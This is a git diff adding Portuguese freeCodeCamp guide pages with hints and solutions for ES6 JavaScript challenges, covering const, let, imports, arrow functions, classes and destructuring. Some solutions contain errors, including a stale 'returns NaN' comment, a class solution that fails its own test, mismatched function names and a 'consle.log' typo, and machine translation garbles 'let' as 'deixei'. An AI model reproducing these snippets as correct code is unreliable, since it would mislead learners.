+``const resultDisplayArray = [`<li class="text-warning">${arr[0]}</li>`, `<li class="text-warning">${arr[1]}</li>` ,`<li class="text-warning">${arr[2]}</li>`];``
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/declare-a-read-only-variable-with-the-const-keyword/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/declare-a-read-only-variable-with-the-const-keyword/index.md
new file mode 100644
index 0000000000..37aec7ead6
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/declare-a-read-only-variable-with-the-const-keyword/index.md
@@ -0,0 +1,68 @@
+---
+title: Declare a Read-Only Variable with the const Keyword
+localeTitle: Declarar uma variável somente leitura com a palavra-chave const
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/3/3c8584a085a0deaea66b3400e6321eeadab552a2.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### Explicação do Problema:
+
+Altere todas as variáveis ​​para `let` ou `const` e renomeie a `sentence` .
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+*   Substitua `var` por string por `const` somente leitura.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+*   Substitua `var` no `for` loop para `let` .
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+*   A convenção comum é nomear variáveis `const` com ALL CAPS.
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+
+```javascript
+    function printManyTimes(str) { 
+      "use strict"; 
+      const SENTENCE = str + " is cool!"; 
+      for(let i = 0; i < str.length; i+=2) { 
+        console.log(SENTENCE); 
+      } 
+    } 
+    printManyTimes("freeCodeCamp"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://codepen.io/dylantyates/pen/OwVxyx)
+
+# Explicação do código:
+
+Ao usar a `sentence` `const` , podemos torná-la somente para leitura e, usando o `let` on `i` dentro do loop for, podemos evitar o uso de `var` todos juntos. Para maior clareza de código, também podemos alterar a `sentence` para `SENTENCE` para mostrar que é uma constante.
+
+#### Links Relevantes
+
+*   [const](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const)
+*   [deixei](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/explore-differences-between-the-var-and-let-keywords/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/explore-differences-between-the-var-and-let-keywords/index.md
new file mode 100644
index 0000000000..e35e81c1ff
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/explore-differences-between-the-var-and-let-keywords/index.md
@@ -0,0 +1,58 @@
+---
+title: Explore Differences Between the var and let Keywords
+localeTitle: Explore as diferenças entre o var e deixe
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/3/3c8584a085a0deaea66b3400e6321eeadab552a2.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### Explicação do Problema:
+
+Precisamos mudar cada `var` para `let` nosso código.
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+*   Encontre cada `var` e substitua por `let` .
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+
+```javascript
+    let catName; 
+    let quote; 
+    function catTalk() { 
+      "use strict"; 
+ 
+      catName = "Oliver"; 
+      quote = catName + " says Meow!"; 
+ 
+    } 
+    catTalk(); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://codepen.io/dylantyates/pen/eKqoGY)
+
+# Explicação do código:
+
+Usando `let` vez de `var` , podemos evitar substituir `catName` e `quote` .
+
+#### Links Relevantes
+
+*   [var](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var)
+*   [deixei](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/import-a-default-export/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/import-a-default-export/index.md
new file mode 100644
index 0000000000..5908c9618a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/import-a-default-export/index.md
@@ -0,0 +1,22 @@
+---
+title: Import a Default Export
+localeTitle: Importar uma exportação padrão
+---
+## Importar uma exportação padrão
+
+Importar um padrão de exportação é quase o mesmo que importar uma exportação normal; você simplesmente não precisa das chaves para definir o nome do que está importando do arquivo!
+
+## Sugestão 1:
+
+Preencha os espaços em branco: `import _ from "file-name"` . Conecte o nome do seu módulo (que é `subtract` ) em `_` e coloque `"math-functions"` em `"file-name"` .
+
+## Alerta de Spoiler - Solução à frente!
+
+## Solução:
+
+```javascript
+"use strict"; 
+ import subtract from "math_functions"; 
+ subtract(7,4); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/index.md
new file mode 100644
index 0000000000..420fd4d476
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/index.md
@@ -0,0 +1,11 @@
+---
+title: ES6
+localeTitle: ES6
+---
+## ES6
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/mutate-an-array-declared-with-const/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/mutate-an-array-declared-with-const/index.md
new file mode 100644
index 0000000000..38c82e8bfc
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/mutate-an-array-declared-with-const/index.md
@@ -0,0 +1,62 @@
+---
+title: Mutate an Array Declared with const
+localeTitle: Mude uma matriz declarada com const
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/3/3c8584a085a0deaea66b3400e6321eeadab552a2.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### Explicação do Problema:
+
+Reatribuir os valores das `const` variáveis `s` usando vários atribuição de elemento.
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+*   Você pode alterar valores de array em `const` como você pode com `var` ou `let` .
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+*   Para acessar o valor do array use array \[index\]
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+
+```javascript
+    const s = [5, 7, 2]; 
+    function editInPlace() { 
+      "use strict"; 
+      s[0] = 2; 
+      s[1] = 5; 
+      s[2] = 7; 
+    } 
+    editInPlace(); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://codepen.io/dylantyates/pen/djoVjW)
+
+# Explicação do código:
+
+Tentando reatribuir uma variável `const` somente leitura lançará um erro, mas usando vários atribuição de elemento você pode acessar e alterar o valor de uma matriz como faria com `let` ou `var` .
+
+#### Links Relevantes
+
+*   [const](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const)
+*   [Matriz](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/prevent-object-mutation/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/prevent-object-mutation/index.md
new file mode 100644
index 0000000000..ec7e71d287
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/prevent-object-mutation/index.md
@@ -0,0 +1,64 @@
+---
+title: Prevent Object Mutation
+localeTitle: Impedir a mutação de objetos
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/3/3c8584a085a0deaea66b3400e6321eeadab552a2.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### Explicação do Problema:
+
+Precisamos evitar que o valor de `MATH_CONSTANTS` seja alterado.
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+*   Use Object.freeze (obj) para impedir que o objeto seja alterado.
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+
+```javascript
+    function freezeObj() { 
+      "use strict"; 
+      const MATH_CONSTANTS = { 
+        PI: 3.14 
+      }; 
+ 
+      Object.freeze(MATH_CONSTANTS); 
+ 
+      try { 
+        MATH_CONSTANTS.PI = 99; 
+      } catch( ex ) { 
+        console.log(ex); 
+      } 
+      return MATH_CONSTANTS.PI; 
+    } 
+ 
+    const PI = freezeObj(); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://codepen.io/dylantyates/pen/OwVxYB)
+
+# Explicação do código:
+
+Usando Object.freeze () em `MATH_CONSTANTS` , podemos evitar manipulá-lo.
+
+#### Links Relevantes
+
+*   [Object.freeze ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/set-default-parameters-for-your-functions/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/set-default-parameters-for-your-functions/index.md
new file mode 100644
index 0000000000..c642f2c79f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/set-default-parameters-for-your-functions/index.md
@@ -0,0 +1,72 @@
+---
+title: Set Default Parameters for Your Functions
+localeTitle: Definir parâmetros padrão para suas funções
+---
+## Definir parâmetros padrão para suas funções
+
+: _bandeira_ triangular no _post: Lembre-se de usar Read-Search-Ask se você ficar preso. Tente parear programa:_ bust in\_silhouette: e escreva seu próprio código: pencil:
+
+### : checkered\_flag: Explicação do problema:
+
+```javascript
+const increment = (function() { 
+  "use strict"; 
+  return function increment(number, value) { 
+    return number + value; 
+  }; 
+ })(); 
+ console.log(increment(5, 2)); // returns 7 
+ console.log(increment(5)); // returns NaN 
+```
+
+Modificaremos a função de incremento para que o parâmetro **numérico** seja incrementado em 1 por padrão, definindo o **valor** como 1 se um valor para o **valor** não for passado para a função de incremento.
+
+### : speech\_balloon: Dica: 1
+
+Vamos identificar onde o **valor** do parâmetro está na função JS
+
+tente resolver o problema agora
+
+### : speech\_balloon: Dica: 2
+
+Definir **valor** igual a algo para que seja esse valor por padrão
+
+tente resolver o problema agora
+
+### Alerta de Spoiler!
+
+![Spoiler](http://discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+Solução à frente!
+
+## : beginner: Basic Code Solution:
+
+```javascript
+const increment = (function() { 
+  "use strict"; 
+  return function increment(number, value = 1) { 
+    return number + value; 
+  }; 
+ })(); 
+ console.log(increment(5, 2)); // returns 7 
+ console.log(increment(5)); // returns NaN 
+```
+
+: rocket: [Run Code](https://repl.it/@RyanPisuena/PleasingFumblingThings)
+
+## Explicação do código
+
+*   Esta seção é bem direta. Passe esta seção definindo o parâmetro **valor** igual a 1. Quando a função se deparar com casos de teste em que o **valor** não foi transmitido, o **valor** será atribuído a um por padrão.
+
+Links Relevantes:
+
+[Parâmetros padrão de JavaScript](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters)
+
+# : clipboard: NOTAS PARA CONTRIBUIÇÕES:
+
+*   : aviso: NÃO adicione soluções semelhantes às soluções existentes. Se você acha que é semelhante, mas melhor, tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - Básica, Intermediária e Avançada. :semáforo:
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer conteúdo principal relevante. (: aviso: NÃO remova nenhum nome de usuário existente)
+
+Veja: point\_right: [Modelo de Solução de Desafio do Wiki](https://forum.freecodecamp.org/t/freecodecamp-algorithm-challenge-template-guide/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/understand-the-differences-between-import-and-require/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/understand-the-differences-between-import-and-require/index.md
new file mode 100644
index 0000000000..093cbcd977
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/understand-the-differences-between-import-and-require/index.md
@@ -0,0 +1,24 @@
+---
+title: Understand the Differences Between import and require
+localeTitle: Entenda as diferenças entre importar e exigir
+---
+## Entenda as diferenças entre importar e exigir
+
+Vamos esclarecer: `require()` carrega o arquivo inteiro e seus componentes (funções, variáveis), enquanto `import _ from` permite que você escolha manualmente quais componentes você quer.
+
+Nesta lição, você está encarregado de importar a função `capitalizeStrings()` , que vem do arquivo `"string-functions"` .
+
+## Sugestão 1:
+
+Preencha os espaços em branco: `import { function_name } from "file_name"` . O nome da sua função é `capitalizeStrings` e seu nome de arquivo é `"string-functions"` .
+
+## Alerta de Spoiler - Solução à frente!
+
+## Solução
+
+```javascript
+"use strict"; 
+ import { capitalizeString } from "string-functions"; 
+ capitalizeString("hello!"); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/use--to-import-everything-from-a-file/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/use--to-import-everything-from-a-file/index.md
new file mode 100644
index 0000000000..5c7e9b7bfb
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/use--to-import-everything-from-a-file/index.md
@@ -0,0 +1,21 @@
+---
+title: Use * to Import Everything from a File
+localeTitle: Use * para importar tudo de um arquivo
+---
+## Use \* para importar tudo de um arquivo
+
+Se você quiser importar tudo o que for possível de um arquivo, use a sintaxe `import * as _ from` as\_, fornecida pelo ES6. Isso é exatamente o que você está encarregado de fazer neste desafio!
+
+## Sugestão 1:
+
+Preencha os espaços em branco: `import * as objName from "file-name"` . Você pode ser criativo com seu `objName` , mas seu nome de arquivo deve ser `capitalize_strings` .
+
+## Alerta de Spoiler - Solução à frente!
+
+## Solução:
+
+```javascript
+"use strict"; 
+ import * as str from "capitalize_strings"; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/use-arrow-functions-to-write-concise-anonymous-functions/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/use-arrow-functions-to-write-concise-anonymous-functions/index.md
new file mode 100644
index 0000000000..de53af6c38
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/use-arrow-functions-to-write-concise-anonymous-functions/index.md
@@ -0,0 +1,30 @@
+---
+title: Use Arrow Functions to Write Concise Anonymous Functions
+localeTitle: Use as funções de seta para escrever funções anônimas concisas
+---
+## Use as funções de seta para escrever funções anônimas concisas
+
+Novamente, o ES6 tem tudo a ver com tornar o JavaScript mais elegante e, para alguns, mais legível.
+
+Funções anônimas, como dito, podem ser criadas quando você tiver certeza de que a função não será chamada pelo nome em nenhum outro lugar.
+
+## Sugestão 1:
+
+Livre-se da palavra-chave de `function` e insira essa seta `=>` .
+
+## Dica 2:
+
+Você se livrou da palavra-chave `var` ?
+
+## Alerta de Spoiler - Solução à frente!
+
+## Solução
+
+```javascript
+const magic = () => { 
+  "use strict"; 
+  return new Date(); 
+ }; 
+```
+
+Contanto que você se livrou da palavra-chave `var` , você é bom.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/use-class-syntax-to-define-a-constructor-function/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/use-class-syntax-to-define-a-constructor-function/index.md
new file mode 100644
index 0000000000..178dd66129
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/use-class-syntax-to-define-a-constructor-function/index.md
@@ -0,0 +1,58 @@
+---
+title: Use class Syntax to Define a Constructor Function
+localeTitle: Use a sintaxe de classe para definir uma função de construtor
+---
+## Use a sintaxe de classe para definir uma função de construtor
+
+Nesta lição, você está definindo o objeto Vegetable usando a sintaxe de classe.
+
+## Sugestão 1:
+
+Crie a classe chamada `Vegetable` . Ele conterá os detalhes necessários sobre o objeto `Vegetable` .
+
+## Dica 2:
+
+Coloque um construtor com um parâmetro chamado `name` e configure-o para `this.name` .
+
+## Alerta de Spoiler - Solução à frente!
+
+## Solução:
+
+```javascript
+function makeClass() { 
+  "use strict"; 
+  /* Alter code below this line */ 
+  class Vegetable { 
+    constructor(name){ 
+      this.name = name; 
+    } 
+  } 
+  /* Alter code above this line */ 
+  return Vegetable; 
+ } 
+```
+
+\=======
+
+Spoiler Warning: aqui está uma solução básica para este desafio, caso você esteja preso.
+
+```javascript
+function makeClass() { 
+  "use strict"; 
+  /* Alter code below this line */ 
+ 
+   class Vegetable { 
+     constructor(Vegetable){ 
+       this.Vegetable = Vegetable; 
+ 
+     } 
+   } 
+ 
+  /* Alter code above this line */ 
+  return Vegetable; 
+ } 
+ const Vegetable = makeClass(); 
+ const carrot = new Vegetable('carrot'); 
+ console.log(carrot.name); // => should be 'carrot' 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-to-assign-variables-from-arrays/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-to-assign-variables-from-arrays/index.md
new file mode 100644
index 0000000000..2d5d9a5e08
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-to-assign-variables-from-arrays/index.md
@@ -0,0 +1,14 @@
+---
+title: Use Destructuring Assignment to Assign Variables from Arrays
+localeTitle: Use Destructuring Assignment para atribuir variáveis ​​de matrizes
+---
+## Use Destructuring Assignment para atribuir variáveis ​​de matrizes
+
+Temos que tomar algumas precauções neste caso.
+
+1.  Não há necessidade de const \[b, a\], pois manterá o efeito da atribuição local.
+    
+2.  const \[b, a\] = \[a, b\] resultará no valor de a, b como indefinido (regra de atribuição simples da esquerda para a direita).
+    
+
+Portanto, a solução para este problema é \[b, a\] = \[a, b\]
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-to-assign-variables-from-nested-objects/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-to-assign-variables-from-nested-objects/index.md
new file mode 100644
index 0000000000..ee68fa143e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-to-assign-variables-from-nested-objects/index.md
@@ -0,0 +1,18 @@
+---
+title: Use Destructuring Assignment to Assign Variables from Nested Objects
+localeTitle: Use Destructuring Assignment para atribuir variáveis ​​de objetos aninhados
+---
+## Use Destructuring Assignment para atribuir variáveis ​​de objetos aninhados
+
+Dica para passar no teste final: a _desestruturação aninhada foi usada_
+
+O teste quer que você obtenha apenas `max` e `max` . Se você desestruturar sua constante para conter `max` e `min` , o teste falhará.
+
+## Spoiler!
+
+Aqui está a solução de código:
+
+```javascript
+const { tomorrow: { max: maxOfTomorrow } } = forecast; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-to-assign-variables-from-objects/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-to-assign-variables-from-objects/index.md
new file mode 100644
index 0000000000..ee2848248f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-to-assign-variables-from-objects/index.md
@@ -0,0 +1,22 @@
+---
+title: Use Destructuring Assignment to Assign Variables from Objects
+localeTitle: Use Destructuring Assignment para atribuir variáveis ​​de objetos
+---
+## Use Destructuring Assignment para atribuir variáveis ​​de objetos
+
+# Este desafio requer alguma intuição sobre objetos de string em javascript.
+
+Quando você cria um objeto de string, ele é baseado no seguinte [protótipo de string](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/prototype) .
+
+Assim, cada string possui uma propriedade length; genericString = {comprimento: 13}. (Esta é a única propriedade adotada do String.prototype.)
+
+# Reatribuir propriedades usando desconstrução.
+
+```javascript
+var basicOjb = {x: 40}; 
+ //To reassign 'get the value of the x property of basicObj and place its value into bigX' in ES6: 
+ const { x: bigX } = basicOjb; 
+ consle.log(bigX) // ans = 40 
+```
+
+Coloque o valor da propriedade length de 'str' em len.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-to-pass-an-object-as-a-functions-parameters/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-to-pass-an-object-as-a-functions-parameters/index.md
new file mode 100644
index 0000000000..c2848144a0
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-to-pass-an-object-as-a-functions-parameters/index.md
@@ -0,0 +1,50 @@
+---
+title: Use Destructuring Assignment to Pass an Object as a Function's Parameters
